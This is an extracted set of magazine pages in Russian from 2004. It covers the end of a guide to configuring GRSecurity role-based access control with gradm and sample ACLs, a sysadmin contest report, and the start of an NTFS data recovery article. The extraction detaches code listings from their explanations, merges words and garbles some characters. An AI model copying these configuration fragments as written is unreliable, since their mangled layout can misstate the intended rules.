Пользовательская и групповая роли не требуют вводапароля, достаточно, чтобы процесс был запущен от имениконкретного пользователя или группы.

Специальная роль – это роль, предназначенная для вы-полнения каких-либо работ. Для доступа к ней необходимоввести пароль. После успешной авторизации права будутповышены до прав, определенных этой ролью.

Роль может быть ограничена списком IP-адресов:

Этих директив в пределах роли может быть сколько угод-но. При входе пользователя в систему используется следу-ющая последовательность выбора и применения роли:пользовательская →→→→→ групповая →→→→→ default. Соответственно,если не находится пользовательская роль, то применяетсягрупповая. Если и её нет, то применится роль по умолча-нию (default).

Директива role_ transitions служит для определения спе-циальных ролей, к которым можно получить доступ из дан-ной роли:

Любая программа, входящая в роль, называется субъек-том (subject). Описания субъектов называются ACL – AccessControl List.

Субъекты бывают обычными:

и вложенными (nested):

Вложенный субъект используется в том случае, когданеобходимо указать последовательность запуска. В данномслучае привилегии будут вручены программе /bin/cat, еслиона будет запущена из /bin/bash, которая в свою очередьбудет запущена из /bin/su.

Вложенные субъекты поддерживают наследование, т.е.вложенный субъект /bin/su:/bin/bash:/bin/cat будет наследо-вать правила /bin/su:/bin/bash и /bin/su. Они полезны при на-писании ACL для программ типа sarg – анализатора логовпрокси-сервера squid. Дело в том, что sarg при созданииотчета использует стандартные утилиты – sort, grep, mkdir,cp, rm и т. д. Соответственно sarg вызывает оболочку (shell,в моем случае – bash), которая в свою очередь вызываетэти утилиты. Чтобы вызов был успешным, необходимо вACL для bash прописать разрешение на выполнение этихутилит. Но в таком случае их смогут использовать все комуне лень, что сводит на нет все усилия по обеспечению бе-зопасности. Для решения этой проблемы и применяютсявложенные субъекты:

Запуск утилит будет возможен только в том случае, еслиинициатором будет sarg.

Любая программа, входящая в субъект (subject), назы-вается объектом (object). При описании субъектов и объек-тов необходимо использовать абсолютные пути:

role named u

role users g

role_allow_ip IP/netmaskrole_allow_ip 192.168.1.0/24

subject /bin/su:/bin/bash:/bin/cat {..........}

subject /usr/bin/sarg:/bin/bash { / r /bin h /bin/date x /bin/mkdir x /bin/rm x /dev/tty rw /dev/null rw...............................}

role_transitions <special role 1> <special role 2> ↵↵↵↵↵<special role 3>

subject /bin/su {......}

Page 55: 022 Системный Администратор 09 2004

53№9(22), сентябрь 2004

безопасность

Субъекту (subject) доступны следующие режимы:! h – процесс скрыт и может быть прочитан только про-

цессом с флагом v;! v – процесс может видеть скрытые процессы;! p – процесс защищен, он может быть завершен только

процессом с флагом k или процессом, принадлежащимэтому же субъекту;

! k – процесс может завершать защищенные процессы;! l – режим обучения для данного процесса;! d – защитить /proc/<pid>/fd и /proc/<pid>/mem для про-

цессов в этом субъекте;! b – включить process accounting для процессов в этом

субъекте;! P – отключить PAGEEXEC для этого субъекта (PaX);! S – отключить SEGMEXEC для этого субъекта (PaX);! M – отключить MPROTECT для этого субъекта (PaX);! R – отключить RANDMMAP для этого субъекта (PaX);! G – включить EMUTRAMP для этого субъекта (PaX);! X – включить RANDEXEC для этого субъекта (PaX);! O – переписать расширенные restriction mmap() и ptrace()

для этого субъекта;! A – защитить общую память для этого субъекта, только

входящие в этот субъект процессы могут получить дос-туп к памяти этого субъекта;

! K – если процесс создает опасную ситуацию, завершитьпроцесс;

! C – если процесс создает опасную ситуацию, завершитьэтот процесс и все процессы, запущенные с того же IP-адреса;

! T – процесс не сможет выполнить никакой троянскийкод;

! o – отменяет ACL-наследование.

Объект поддерживает следующие режимы:! r – объект может быть открыт для чтения;! w – объект может быть открыт для записи;! x – объект может быть выполнен (executed);! a – объект может быть открыт для добавления;! h – объект скрыт (к нему нельзя получить доступ);! s – при запрете доступа к этому объекту в логи не будет

идти информация;! i – применяется только к бинарным файлам. Когда

объект выполняется, он наследует ACL субъекта, в ко-торый входит;

! l – режим обучения, поддерживается только для бинар-ных файлов;

! R – аудит успешного чтения объекта;! W – аудит успешной записи в объект;! X – аудит успешного исполнения объекта;! A – аудит успешного добавления в объект;! F – аудит успешного поиска объекта;! I – аудит успешного наследования объекта;! m – разрешить создавать и модифицировать setuid/

setgid файлы и каталоги;

! M – аудит успешного создания и модификации setuid/setgid файлов и каталогов;

! с – позволить создание файлов и каталогов;! С – аудит успешного создания файлов и каталогов;! d – разрешить удаление файлов и каталогов;! D – аудит успешного удаления файлов и каталогов;! p – сбросить все ptrace.

Помимо доступа к файлам и каталогам процессу иног-да необходимы специальные права на смену владельца,конфигурирование сетевых интерфейсов и т. д. Эти правареализованы в виде так называемых способностей илисвойств (capability). В ACL они предваряются знаками «+»и «-», соответственно знак «+» разрешает использованиеданной «способности», знак «-» запрещает.

Ниже приведены несколько наиболее интересных и ча-сто используемых «способностей», полный список можнонайти в официальной документации.! CAP_ALL – используется как заглушка для запрета или

разрешения всех capability.! CAP_CHOWN – в системе с установленной опцией

[_POSIX_CHOWN_RESTRICTED_] эта «способность»разрешает процессу изменять владельца.

! CAP_SETGID – разрешает выполнение функций setgid,setgoups.

! CAP_SETUID – разрешает выполнение функции setuid.! CAP_NET_BIND_SERVICE – разрешает привязку на

TCP/IP-сокет ниже 1024, привязку к ATM VCIs ниже 32.! CAP_NET_ADMIN – разрешает:

! конфигурирование интерфейсов;! администрирование межсетевого экрана, трансля-

цию адресов;! установку опций отладки для сокетов;! изменение таблиц маршрутизации;! привязку к любому адресу для прозрачного прокси-

рования;! установку TOS (type of service);! установку неразборчивого (promiscuous) режима для

сетевой карты;! очистку статистики драйвера;! мультивещание;! чтение/запись в определенные регистры устрой-

ства.! CAP_SYS_ADMIN – разрешает:

! администрирование устройства random;! конфигурирование дисковых квот;! конфигурирование syslog ядра;! установку доменного имени (domainname);! установку имени хоста (hostname);! вызов bdflush();! монтирование и размонтирование, установку нового

smb-подключения;! блокирование/разблокирование общедоступной па-

мяти (shared memory);! включать/выключать подкачку (swap);! установку геометрии для флоппи-дисковода;! включение/выключение режима DMA;! настройку IDE-драйверов;! доступ к устройству nvram;

subject /bin/su o {/etc/passwd r/etc/shadow r-CAP_ALL

}

Page 56: 022 Системный Администратор 09 2004

54

безопасность

! администрирование apm_bios, последовательных иbttv (TV) устройств;

! установку последовательных портов;! включение/отключение SCSI-контроллеров, посылку

произвольных SCSI-команд.

Процессу (субъекту) доступны два сетевых параметра –connect и bind. Параметр connect отвечает за доступ про-цесса в сеть, а параметр bind – за привязку процесса к се-тевому интерфейсу:

Если конечный порт не определен, то начальный портявляется и начальным, и конечным портом. Если не опре-делены оба порта, то в качестве начального порта исполь-зуется 0, а в качестве конечного порта – 65535. Тип можетпринимать значения: sock, dgram, raw_sock any_sock, stream.Протокол – любой из перечисленных в /etc/protocols, а так-же raw_proto и any_proto. Если процесс не должен иметьвозможности подключения или привязки, то для этого су-ществует ключевое слово disabled:

а в этом примере мы разрешаем процессу (субъекту) /usr/sbin/apache подключение к любому IP-адресу на 53 порт(DNS) с помощью udp-датаграмм и привязку на все интер-фейсы к 80 tcp-порту:

Одна из особенностей GRSecurity – основанная на про-цессах система ограничения ресурсов. С ее помощью мож-но ограничивать процесс (субъект) в количестве памяти,времени центрального процессора, количестве файлов,которые могут быть открыты, и т. д. Для записи ограниче-ний применяется следующий синтаксис:

Список доступных ограничений:! RES_CPU – время центрального процессора в милли-

секундах.! RES_FSIZE – максимальный размер файла в байтах.! RES_DATA – максимальный размер секции данных в

байтах.! RES_STACK – максимальный размер стека в байтах.! RES_CORE – максимальный размер core-файла в байтах.! RES_RSS – максимальный размер исполняемой части.! RES_NPROC – максимальное число процессов.

! RES_NOFILE – максимальное число открытых файлов.! RES_MEMLOCK – максимальный размер выделенной

памяти в байтах.! RES_AS – ограничение адресного пространства в бай-

тах.! RES_LOCKS – максимальное число блокировок файла.

В качестве примера рассмотрим RES_NOFILE 3 3. Этазапись позволит процессу открыть максимум три файла (всепроцессы имеют как минимум три открытых файловых дес-криптора – stdin, stdout и stderr). Ограничения бывают мяг-кими (soft limit) и жесткими (hard limit).

Разница между ними состоит в том, что мягкий пределназначается при выполнении процесса.

Жесткий предел – максимальная точка, до которой про-цесс может поднимать предел с помощью setrlimit, если дляпроцесса не установлена CAP_SYS_RESOURCE.

В случае ограничения времени использования централь-ного процессора с помощью RES_CPU, когда мягкий пределпревышен, процессу непрерывно подается специальныйсигнал. Когда превышен жесткий предел, процесс завер-шается. Это единственное ограничение, использующее вре-мя в качестве аргумента, причем по умолчанию в миллисе-кундах. Однако время можно задать и в других единицах:! 100s – 100 секунд! 25m – 25 минут! 65h – 65 часов! 2d – 2 дня

В остальных ограничениях в качестве аргумента поумолчанию используется байт, но его можно также задатьв других единицах:! 2G – 2 Гб! 25M – 25 Мб! 100K – 100 Кб

Начало работы и режим обученияДля управления GRSecurity служит программа gradm:

connect <IP-àäðåñ>/<ìàñêà>:<íà÷àëüíûé ïîðò>-<êîíå÷íûé ïîðò> ↵↵↵↵↵<òèï> <ïðîòîêîë>

bind <IP-àäðåñ>/<ìàñêà>:<íà÷àëüíûé ïîðò>-<êîíå÷íûé ïîðò> ↵↵↵↵↵<òèï> <ïðîòîêîë>

subject /bin/su o {/etc/passwd r/etc/shadow r-CAP_ALL

connect disabled bind disabled}

subject /usr/sbin/apache o {........................................ connect 0.0.0.0/0:53 dgram udp bind 0.0.0.0/0:80 stream tcp}

<resource name> <soft limit> <hard limit>

# gradm

gradm 2.0

grsecurity administration program

Usage: gradm [option] ...

Examples:

gradm -P

gradm -F -L /etc/grsec/learning.logs -O /etc/grsec/acl

Options:

-E, --enable Включить grsecurity RBAC

-D, --disable Отключить grsecurity RBAC

-S, --status Проверить статус системы RBAC

-F, --fulllearn Включить режим полного обучения

-P [rolename], --passwd Задать пароль для администратора RBAC

or a special role

-R, --reload Перезагрузить систему RBAC

(только из администраторского режима)

-L <filename>, --learn Определить путь для логов режима обучения

-O <filename>, --output Определить файл, куда будут сгенерирован

ACL в режиме обучения

-M <filename|uid>, --modsegv Удалить запрет на файл или UID

-a <rolename> , --auth Аутентифицироваться в специальную роль,

если она требует аутентификации

-u, --unauth Удалить себя из текущей специальной роли

-n <rolename> , --noauth Аутентифицироваться в специальную роль,

если она не требует аутентификации

-h, --help Вывести эту страницу помощи

-v, --version Показать версию

Page 57: 022 Системный Администратор 09 2004

55№9(22), сентябрь 2004

безопасность

Для активации GRSecurity надо задать пароли доступа.Если этого не сделать, GRSecurity выдаст сообщение обошибке:

Задаем главный пароль, служащий для отключения иперезагрузки системы GRSecurity:

Во второй версии GRSecurity появился режим полного обу-чения системы. Для его активации необходимо выполнить:

Все попытки любых программ получить доступ к каким-либо объектам будут фиксироваться в файле /var/log/grsec.Через некоторое время отключаем GRSecurity:

и с помощью следующей команды из протокола получаемфайл /etc/grsec/acl:

примерно такой структуры:

Этот ACL будет мало пригоден для работы, его придет-ся долго настраивать. Это, с одной стороны, связано с не-совершенством режима обучения, а с другой стороны – стем, что за время обучения какие-либо программы частич-но не выполняли свои функции. Например, за время обуче-ния DNS-сервер ни разу не запустил процесс передачи зоны,в связи с чем впоследствии возникнут ошибки доступа кфайлам зон, которые придется исправлять вручную. Здесьнапрашивается вывод – почему бы не оставить режим обу-чения на несколько дней, тогда можно быть уверенным, чтовсе функции выполнились хотя бы один раз. Однако такойподход не верен. Дело в том, что помимо выполнения нуж-ных функций (той же передачи зоны) могут быть выполне-ны и ненужные. Например, администратор зашел в консольи произвел какие-либо нестандартные действия, для кото-рых впоследствии будет применяться специальная роль. В

таком случае для этих действий тоже будет сформированACL, что будет дырой в системе безопасности. Вообще чемменьше написано различных ACL – тем лучше.

Ручная настройка ACL происходит следующим образом.! Активируем GRSecurity:

! Ждем некоторое время (для начала – несколько секунд).! Отключаем GRSecurity:

! Смотрим протокол ядра, в моем случае – /var/log/kern.log.В нем будут примерно такие записи:

После анализа логов исправляем /etc/grsec/acl и начи-наем все сначала.

Для справки – ACL на моем сервере составляет 2500строк. В качестве примера приведу ACL для mysql. В моемслучае mysql работает из-под пользователя mysql, посемунеобходима отдельная пользовательская роль:

Расскажу еще об одной проблеме, с которой мне при-шлось столкнуться. Для подсчета трафика я используюNeTAMS. После обучения получил такой ACL для netams:

# gradm �F �L /var/log/grsec �O /etc/grsec/acl

role defaultsubject / {

/ h-CAP_ALLconnect disabledbind disabled

}role root uGsubject / {

/ h/bin h

������.}������..

# gradm �E

# gradm �D

Jul 22 14:57:00 admin kernel: grsec: Loaded grsecurity 2.0

Jul 22 14:57:02 admin kernel: grsec: denied access to hidden file

/bin/ping by /bin/bash[bash:9717] uid/euid:0/0 gid/egid:0/0,

parent /bin/su[su:14540] uid/euid:0/0 gid/egid:0/0

Jul 22 14:57:02 admin kernel: grsec: use of CAP_DAC_OVERRIDE

denied for /bin/bash[bash:9717] uid/euid:0/0 gid/egid:0/0,

parent /bin/su[su:14540] uid/euid:0/0 gid/egid:0/0

Jul 22 14:57:02 admin kernel: grsec: use of CAP_DAC_READ_SEARCH

denied for /bin/bash[bash:9717] uid/euid:0/0 gid/egid:0/0,

parent /bin/su[su:14540] uid/euid:0/0 gid/egid:0/0

Jul 22 14:57:05 admin kernel: grsec: denied access to hidden file

/etc/ld.so.preload by /sbin/gradm[gradm:30057] uid/euid:0/0

gid/egid:0/0, parent /bin/bash[bash:9717] uid/euid:0/0 gid/egid:0/0

Jul 22 14:57:10 admin kernel: grsec: shutdown auth success for

/sbin/gradm[gradm:30057] uid/euid:0/0 gid/egid:0/0,

parent /bin/bash[bash:9717] uid/euid:0/0 gid/egid:0/0

# gradm –E

Error opening: /etc/grsec/pw

open: no such file or directory

# gradm –P

Setting up grsecurity RBAC password

Password:

Re-enter password:

# gradm �F �L /var/log/grsec

# gradm –D

Password:

role mysql usubject / { / h -CAP_ALL bind disabled connect disabled}subject /usr/sbin/mysqld o { / h /etc r /etc/grsec h /etc/mysql/my.cnf r /lib rx /proc/sys/kernel/version r /tmp rwcd /usr/lib rx /usr/share/zoneinfo r /usr/share/mysql r /var/run/mysqld w /var/lib/mysql rw /var/lib/mysql/* rw -CAP_ALL +CAP_SETGID +CAP_SETUID}

subject /usr/bin/netams o { / /var rwc

Page 58: 022 Системный Администратор 09 2004

56

безопасность

Активировал GRSecurity, ошибок нет. Однако ночью сер-вер повис. В логах было чисто, поэтому определить причи-ну не представлялось возможным, однако было понятно,что все дело в GRSecurity. Самое интересное, что днем онработал нормально, а зависал исключительно ночью. При-чем зависал настолько быстро, что система не успеваланичего записать в лог. И только на третий или четвертыйдень в логе отразилась попытка NeTAMS выполнитьCAP_DAC_OVERRIDE. После добавления строки +CAP_DAC_OVERRIDE в ACL для NeTAMS зависания прекратились.

Кроме полного обучения системы доступно также обу-чение отдельных ролей или субъектов. Например, веб-сер-вер работает из-под пользователя apache. Для обучения си-стемы добавляем в /etc/grsec/acl следующие строки:

Запускаем GRSecurity в режиме обучения (не полного!):

Через некоторое время отключаем:

формируем ACL:

Затем редактируем получившуюся роль, убирая добав-ленные gradm комментарии и букву l из описания роли.

По такому же принципу происходит и обучение субъек-та. Добавляем в нужную роль описание нужного субъекта,для которого необходимо получить ACL, например /bin/su:

и аналогично запускаем режим обучения. Здесь есть одинтонкий момент – в процессе обучения GRSecurity не исправ-ляет допущенные человеком ошибки, поэтому запускатьрежим обучения для роли или субъекта, в которые уже что-то добавлено, не имеет смысла. Поэтому прежде чем запу-стить режим обучения, рекомендуется полностью очиститьсубъект или роль.

После того как ошибки исчезнут совсем, для выполне-ния административных задач создадим специальную роль,которой будет разрешено все. Дописываем в /etc/grsec/acl:

Чтобы специальная роль стала доступной, надо в тойроли, откуда она будет вызываться, разрешить этот вызов.Допустим, заходим на сервер по ssh и через su получаемправа пользователя root. Таким образом, за все действиятеперь отвечает роль root. И чтобы в этом случае можнобыло перейти в роль sysadmin, надо в /etc/grsec/acl в опи-сание роли root дописать следующую строку:

Также необходимо задать пароль для специальной ролиsysadmin. Если этого не сделать, GRSecurity выдаст сооб-щение об ошибке:

Задаем пароль:

Активируем GRSecurity и переходим в роль sysadmin:

Теперь можно выполнять любые действия на сервере:

В заключение хочу сказать, что GRSecurity во много разповышает защищенность компьютера, поэтому смело могурекомендовать ее использование на всех серверах, рабо-тающих под управлением Linux.

Отдельная благодарность Алексею Коршунову и Анд-рею Бешкову за помощь в подготовке статьи.

/var/log h /etc/ssh h /etc/grsec h /dev/grsec h /proc/kcore h /proc/sys h /etc/shadow h /etc/passwd h /dev/mem h /dev/kmem h /dev/port h /dev/log h -CAP_ALL

+CAP_NET_ADMIN bind disabled connect disabled}

# gradm –P

Setting up grsecurity RBAC password

Password:

Re-enter password:

# gradm –E

# gradm –a sysadmin

Password:

role apache ul

# gradm �E �L /var/log/grsec

# gradm �D

# gradm �L /var/log/grsec �O /etc/grsec/acl

subject /bin/su lo {/ h-CAP_ALL

connect disabled bind disabled}

role sysadmin sAsubject / {

/ rwcdmxi+CAP_ALL

}

role_transitions sysadmin

# gradm –E

No password exists for special role sysadmin

Run gradm –P sysadmin to set up a password for the role

Ðèñóíîê 2

Page 59: 022 Системный Администратор 09 2004
Page 60: 022 Системный Администратор 09 2004

58

итоги конкурса

Больше месяца на страницах каталога программного обес-печения [email protected] (http://soft.mail.ru) проводился кон-курс для системных администраторов и пользователей «Си-садмин тоже человек».

3 августа 2004 года организаторы конкурса компанииSoftLine и Mail.Ru подвели итоги. Победителями стали 7системных администраторов и 5 авторов открыток.

Напомним, что по условиям конкурса авторы открытокразмещали свои творения в честь сисадминов, оставившихсвои сообщения в Жалобной книге. Самые популярные жа-лобы принесли их авторам победу. Открытки разместилисьна сайте Открытки@Mail.Ru (http://cards.mail.ru). С этого сай-та все желающие посылали поздравления своим знакомымсисадминам. Самые популярные открытки, лидирующие почислу отправлений, принесли победу и призы авторам.

Целый месяц системные администраторы делились про-блемами и забавными историями из своей богатой практи-ки общения с пользователями, а дизайнеры и просто не-равнодушные люди создавали для них тематические от-крытки. Присланные на сегодняшний день участникамиконкурса материалы представляют собой практически го-товый сборник баек, историй, остроумных высказываний,посвященных нелегкой работе системных администраторов.

Подведение итогов и торжественное вручение призовпроисходило 3 августа в уютном кафе «Маскафе» на Цвет-ном бульваре в Москве, где собрались победители, орга-низаторы, спонсоры и самые активные участники форума.Победители получили призы от спонсоров конкурса (Учеб-ный Центр SoftLine, интернет-магазин Allsoft.ru (http://allsoft.ru), журнал «Системный администратор», порталSysadmins.Ru, hardware-портал Jelezka.Ru, 3DNews). Глав-ный приз для победителя Алана Габуева – бесплатное обу-чение программе подготовки Microsoft Certified SystemsAdministrator (MCSA 2003) – предоставил генеральный спон-сор конкурса Учебный Центр SoftLine (http://softline.ru/edu).

Оказалось, что сайт для общения системных администра-торов просто необходим, и месяц, отведенный на конкурс, –это очень-очень мало. Поэтому организаторы решили незакрывать сайт «Сисадмин тоже человек» после подведе-ния итогов конкурса, чтобы дать возможность прочитать то,что уже опубликовано на сайте, и то, что еще может бытьопубликовано. Теперь сайт «Сисадмин тоже человек» дос-тупен по адресу http://sysadmin.mail.ru. Сайт снабжен болееудобной навигацией, классификатором жалоб, поиском,удобным функционалом для добавления новых жалоб. Мож-но оставить отзыв на сообщения своих коллег, поставитьоценку, просмотреть рейтинг. Работает форум сайта.

Из жалоб сисадминов«В общем, господа сисадмины! Позитивнее смотрите нажизнь и помните: «Юзвери существуют не для того, чтобыотравлять нам жизнь, а для того, чтобы своими выходкамидоводить нас до смеха. А смех, как известно, продляетжизнь...»

Организаторы конкурса «Сисадмин тоже человек».

Page 61: 022 Системный Администратор 09 2004
Page 62: 022 Системный Администратор 09 2004

60

образование

Долгое время главным козырем противников NTFS былследующий аргумент – чем вы будете ее восстанавливать,если она умрет? А мрет она, как показывает практика, до-статочно часто. При всей своей надежности NTFS не заст-рахована от потрясений. Ошибки оператора, вирусы, сбоипитания, зависания ОС, дефекты поверхности, отказ элек-троники… С каждым днем человечество все сильнее и силь-нее становится зависимо от компьютеров, объемы жесткихдисков стремительно растут, а вместе с тем растет и цен-ность содержащихся на них данных, потеря которых зачас-тую невосполнима.

Спрос рождает предложение и на рынке как грибы пос-ле дождя вылупляются фирмы, специализирующиеся навосстановлении данных, однако по-настоящему хорошихспециалистов можно встретить только в двух, ну от силы втрех из них, а все остальные лишь создают видимость ки-пучей деятельности, выставляя астрономические счета придовольно посредственном качестве восстановления. Новремя кустарей уже ушло. Рабочая атмосфера изменилась.Хакеры разобрались со строением NTFS и документирова-ли ее ключевые структуры. Начал формироваться достой-ный инструментарий для ручного восстановления. Наконец,за минувшее время накопился огромный опыт по борьбеза спасение данных, частью которого автор и хочет поде-литься с читателями.

Если вдруг случился сбой и данныеоказались утеряны…Прежде всего – не паникуйте! Заниматься восстановлени-ем можно только на трезвую голову. Непродуманные, ли-хорадочные действия только усугубляют ваше и без тогонезавидное положение!

Не используйте никаких автоматизированных «лечи-лок», если полностью в них не уверены. Последствия тако-го лечения могут быть катастрофическими, а результаты«восстановления» – необратимыми. То же самое относит-ся и к «специалистам», обитающим в фирмах непонятногопроисхождения и орудующих все теми же автоматизиро-ванными утилитами, которыми вы можете воспользовать-ся и без них. Некоторые пытаются создавать необходимыйинструментарий самостоятельно. Чаще всего он оказыва-ется неработоспособным еще с рождения, но зато какаягордость для фирмы! Какое впечатляющее средство демон-страции собственной крутизны! Поверьте, утилиты типаEasy Recovery и Get Data Back далеко не дураки писали (даеще и при участии непосредственных разработчиков ори-гинального драйвера NTFS, хорошо знающих все его тон-кости и особенности поведения). Это лучшее из того, чтоесть на рынке, и пока еще никому не удалось их превзойти!(Разумеется, речь идет лишь об автоматизированном вос-становлении.)

Ничего не записывайте на восстанавливаемый диск ине позволяйте этого делать остальным приложениям! Есливы случайно удалили файл с системного диска, ни в коемслучае не выходите из Windows «культурным» способом.Лучше нажмите RESET (при штатном завершении сеансасистема сохраняет на диске текущую конфигурацию, суще-ственно увеличивая риск необратимого затирания удален-ного файла).

Не пытайтесь «насиловать» сбойные сектора многократ-ными чтениями – это лишь расширяет дефектную областьна соседние сектора и здорово уродует магнитную голов-ку, после чего здоровые сектора не смогут читаться тоже.Лучше выполните длинное (long) чтение с диска с отклю-

ВОССТАНОВЛЕНИЕ ДАННЫХ НА NTFS-РАЗДЕЛАХ

КРИС КАСПЕРСКИ

Эта статья открывает цикл публикаций,посвященных ручному восстановлениюданных на NTFS-дисках без использованияавтоматизированных «докторов», зачастуютолько добивающих «пациента» вместоего лечения. Мы коснемся всех аспектовпроблемы – логические и физическиедефекты, жесткие диски и съемныеносители (CD-ROM, ZIP, магнитооптика,FLASH…), программные и аппаратныеRAID-массивы и т. д. Сегодня мырассмотрим основные концепции храненияи организации данных на жестких дискахи соберем необходимый инструментарий.

Page 63: 022 Системный Администратор 09 2004

61№9(22), сентябрь 2004

образование

ченными контролирующими кодами, тогда контроллер воз-вратит все, что осталось от сектора (зачастую сбой затра-гивает только несколько байт).

Если винчестер издает подозрительные звуки типа по-стукивания или скрежета, немедленно выключите питаниекомпьютера (опять-таки, не позволяя системе ничего пи-сать на диск ), поскольку в любой момент винчестер можетдоломаться окончательно, и тогда ему уже никакой элект-ронщик не поможет.

Восстанавливайте SCSI (и в особенности RAID!) дискитолько на «родном» контроллере (различные контроллерыиспользуют различные схемы трансляции адресов). Еслиже контроллер сдох, то либо ремонтируйте его, либо ищитеточно такой же. С IDE-дисками в этом плане намного про-ще – их контроллеры более или менее стандартизованы,однако с дисками большого объема (свыше 528 Мб) уженачинается неразбериха и путаница, ставящая их в зави-симость от конкретной BIOS и выбранного режима работы(NORMAL, LBA или LARGE). Если восстанавливаемый дискработает под управлением нестандартных драйверов типаRocket, OnDisk и т. д., они должны присутствовать и на заг-рузочном диске (загрузочном CD), с которого производит-ся восстановление.

Наконец, если данные восстановить так и не удалось –не расстраивайтесь. Во всем в жизни надо видеть и хоро-шие стороны, даже когда ничего хорошего нет.

Структура диска. Базовые концепцииФизически жесткий диск представляет собой запечатаннуюбанку с одной или несколькими одно- или двухстороннимипластинами, насаженными на шпиндель. Чтение/записьданных осуществляется блоком магнитных головок, каж-дая из которых обслуживает одну из поверхностей пласти-ны. Информация хранится в форме концентрических колец,называемых треками (track) или дорожками. Треки, распо-ложенные на равном расстоянии от центра всех пластин,образуют цилиндр (cylinder). Фрагмент трека, образован-ный радиальным делением, называется сектором (sector).В современных винчестерах количество секторов на трекне остается постоянным и дискретно растет по мере удале-ния от центра пластины, поддерживая более или менеепостоянные линейные размеры сектора. Треки и головкинумеруются начиная с нуля, сектора – начиная с единицы.Размер сектора для жестких дисков – 512 байт.

Первой схемой адресации секторов, доставшейся жес-тким дискам в наследство от дискет, стала так называемаяCHS-адресация, представляющая собой сокращение отCylinder/Head/Sector (Цилиндр/Головка/Сектор) и возникшаяпод давлением экономических причин. Когда-то координа-ты адресуемого сектора напрямую соответствовали физи-ческой действительности, что упрощало (а значит, и уде-шевляло!) дисковый контроллер, не требуя от него никакойинтеллектуальности. Помимо того, что такая схема адре-сации чудовищно неудобна для программистов (последо-вательное чтение диска растягивается на три вложенныхцикла!), она еще и до неприличия косна! Количество секто-ров в треке должно быть постоянным для всего диска, а вновых винчестерах это не так. Поэтому для сохранения со-вместимости с существующим программным обеспечени-

ем дисковый контроллер виртуализует геометрию винчес-тера, что ставит нас в зависимость от выбранной схемытрансляции (а схема трансляции – дело сугубо внутреннееи потому не стандартизированное). Параметры диска, со-общаемые устройством и напечатанные на этикетке, все-гда виртуальные, и никакой возможности узнать реальноеположение дел у нас нет.

IDE-диски благодаря наличию интегрированного кон-троллера внутри в наименьшей степени зависимы от внеш-него мира и могут свободно мигрировать от одной машинык другой (при условии корректного поведения BIOS, но обэтом чуть позже). Некоторые винчестеры поддерживаютспециальную ATA-команду «Initialize device parameters», ус-танавливающую текущую виртуальную геометрию диска,а точнее выбранное количество головок и число секторовна дорожку. Количество цилиндров вычисляется контрол-лером самостоятельно, на основании общего объема дис-ка, который, кстати говоря, также можно изменять про-граммными средствами (за это отвечает ATA-командаSET MAX ADDRESS). Некоторые драйвера (и BIOS) изме-няют геометрию диска, привязывая винчестер к себе проч-ными брачными узами, и в другом окружении такой дискработать уже не будет, ну во всяком случае до установкиправильной геометрии.

Со SCSI-устройствами ситуация обстоит гораздо хуже,и диск соглашается работать только с тем контроллером,под которым он был отформатирован. Различные контрол-леры используют различные схемы трансляции, и потомуподключение диска к несовместимому контроллеру произ-вольным образом «перемешивает» сектора. Редактор дис-ка с таким винчестером работать еще будет, а вот штат-ные средства операционной системы (и большинство «док-торов») – нет.

Продвинутые контроллеры автоматически замещаютплохие сектора, либо сохраняя эту информацию в свой энер-гонезависимой памяти, либо записывая ее в инженерныесектора самого диска. Это еще сильнее привязывает нако-питель к его контроллеру (правда, некоторые SCSI-дискивыполняют переназначение секторов собственными сред-ствами). Таким образом, выход SCSI-контроллера из строяфактически приравнивается к отказу самого диска. Никог-да не приобретайте SCSI-контроллеры неизвестных произ-водителей – в любой момент они могут кануть в Лету, итогда поставки новых контроллеров прекратятся. Контрол-леры, интегрированные в материнские платы, – это вооб-ще песня. Ненадежные, ни с чем не совместимые… а чтовы еще хотели за такую цену?

Сложнее всего приходится RAID-массивам, схема транс-ляции адресов которых полностью определяется контролле-ром. Массивы уровня 1 (mirroring, или зеркала) чаще всеготранслируются всквозную и без особых проблем могут бытьперенесены на любой другой контроллер или даже подклю-чены в обход его. Массивы остальных уровней (и в особен-ности RAID 3/RAID 5) на других типах контроллеров по обык-новению неработоспособны. Программные RAID, монтируе-мые Windows NT, содержат информацию о своей геометриив системном реестре и не могут быть непосредственно пе-ренесены на другие системы. Переустановка Windows NT(равно как и крах оной) уничтожает программный RAID. К

Page 64: 022 Системный Администратор 09 2004

62

образование

счастью, эта потеря обратима и в следующих статьях этогоцикла мы раскроем секреты техники восстановления.

Несмотря на то, что CHS-трансляция в настоящее вре-мя признана устаревшей (устройства, придерживающиесяспецификации ATA/ATAPI-6, принятой в июне 2001 года, ужене обязаны ее поддерживать), она до сих пор встречаетсяво многих служебных структурах операционной системы (вчастности, в таблице разделов и загрузочном секторе), по-этому имеет смысл остановиться на этом вопросе попод-робнее, тем более что здесь есть о чем поговорить.

На интерфейсном уровне адрес сектора передаетсяследующим образом:

Сервисные функции BIOS, напротив, адресуют дискслегка по-своему:

Таким образом, на адресацию цилиндров BIOS отводитвсего 10 бит, и потому максимальное количество цилинд-ров на диске ограничено всего 1024, что при четырехбит-ной адресации головок дает предельно достижимый объемдиска в 512 ∗ 210 ∗ 26 ∗ 24 == 536 870 912 байт, или 512 Мб.Производители винчестеров перешагнули этот барьер ужемного лет назад, и с той поры, кстати говоря, очень многоеизменилось. MS-DOS ушла в небытие, а пришедшая ей насмену Windows работает с диском через собственный драй-вер, и ограничения BIOS ее никак не касаются. Ну почти некасаются… Ведь первичную загрузку операционной систе-мы осуществляет не кто иной как BIOS, и если системныекомпоненты расположены в секторах, находящихся за пре-делами 1024 сектора, операционная система попросту небудет загружена! Причем это относится ко всем операци-онным системам, а не только к критикуемой Windows!

Для преодоления этого ограничения BIOS вводит допол-нительный уровень трансляции (режим LARGE), увеличиваяколичество головок (благо BIOS выделяет для их адресацииаж 8 бит, против 4 бит, выделяемых контроллером диска).Как следствие, предельно допустимый объем диска теперьсоставляет 512 ∗ 210 ∗ 26 ∗ 28 == 8 589 934 592 байт, или 8 Гб.Это в теории. На практике же большинство BIOS содержа-ли грубые ошибки, и при работе с дисками свыше 2 Гб онилибо банально зависали, либо теряли старшие разрядыцилиндра, обращаясь к началу диска и необратимо гробявсе служебные структуры. До сих пор многие вполне со-временные BIOS не позволяют адресовать более 64 голо-вок (виртуальных), что ограничивает предельно допусти-мый объем диска все тем же 2 Гб. Поэтому при переуста-

